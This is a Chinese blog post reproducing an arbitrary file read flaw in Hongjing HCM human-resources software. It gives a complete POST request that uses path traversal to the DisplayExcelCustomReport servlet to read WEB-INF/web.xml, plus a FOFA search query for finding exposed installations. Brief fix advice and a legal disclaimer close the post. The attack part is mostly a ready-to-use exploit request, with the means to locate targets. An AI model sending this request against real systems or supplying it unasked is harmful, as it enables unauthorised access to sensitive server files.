当前位置: 首页 > news >正文

【复现】宏景HCM 任意文件读取漏洞_63

目录

一.概述

二 .漏洞影响

三.漏洞复现

1. 漏洞一:

四.修复建议:

五. 搜索语法:

六.免责声明


一.概述

宏景HCM 将人才标签技术应用于员工招聘、人才选拔等环节,通过多维度的标签体系,形成不同专业序列的人才画像,帮助HR快速筛选合适的优秀人才。

二 .漏洞影响

        通过提交专门设计的输入,攻击者就可以在被访问的文件系统中读取或写入任意内容,往往能够使攻击者从服务器上获取敏感信息文件,正常读取的文件没有经过校验或者不严格,用户可以控制这个变量读取任意文件。

三.漏洞复现

1. 漏洞一:

(1)漏洞类型:  任意文件读取

(2)请求类型:POST

(3)复现

找到相关系统


请求漏洞点,查看yakit响应


burp请求包

POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40filename=../webapps/ROOT/WEB-INF/web.xml

四.修复建议:

对用户传过来的文件名参数进行硬编码或统一编码,对文件类型进行白名单控制,对包含恶意字符或者空字符的参数进行拒绝。不提供目录遍历服务等。

五. 搜索语法:

1.fofa

body="/general/sys/hjaxmanage.js"

六.免责声明

本文所涉及的任何技术、信息或工具,仅供学习和参考之用。请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响,均由使用者个人承担责任,与本文作者无关。作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明,并承诺遵守相关法律法规和道德规范。

http://www.lryc.cn/news/310121.html

相关文章:

  • Linux:kubernetes(k8s)搭建mater节点(kubeadm,kubectl,kubelet)(2)
  • Web应用安全威胁与防护措施
  • MySQL相关知识汇总
  • 【旧文搬运】为你的 Laravel 应用添加一个基于 Swoole 的 WebSocket 服务
  • vue项目从后端下载文件显示进度条或者loading
  • [技巧]Arcgis之图斑四至点批量计算
  • 【java】20:枚举
  • ★【二叉搜索树(中序遍历特性)】【 ★递归+双指针】Leetcode 98. 验证二叉搜索树
  • 打造无缝滚动体验:JavaScript中的scrollIntoView()方法实战指南
  • 实战:如何将Oracle单实例数据库转换成Oracle RAC数据库
  • 基于华为atlas的分类模型实战
  • 编程语言:SQL Server数据库使用教程,SQL Server增删改查语句
  • 【tableau学习笔记】tableau无法连接数据源
  • cetos7 Docker 安装 gitlab
  • 无极低码:无极低码部署版操作指南
  • C语言实现日本某地发生了一件谋杀案
  • 【C++】const成员
  • 利用小蜜蜂AI智能问答ChatGPT+AI高清绘图生成图文故事案例
  • Github项目推荐-LightMirrors
  • day14:栈排序
  • 【LeetCode:2368. 受限条件下可到达节点的数目 + BFS】
  • pyorbbecsdk奥比中光python版本SDK在Windows下环境配置笔记
  • YOLOV8介绍
  • 【ElfBoard】基于 Linux 的智能家居小项目
  • 自动化测试介绍、selenium用法(自动化测试框架+爬虫可用)
  • 深度学习的一个完整过程通常包括以下几个步骤
  • WPS如何共享文件和文件夹
  • PowerData 2024“数字经济-城市开源行”活动预告
  • QT多语言切换功能
  • windows上elasticsearch的ik分词器的安装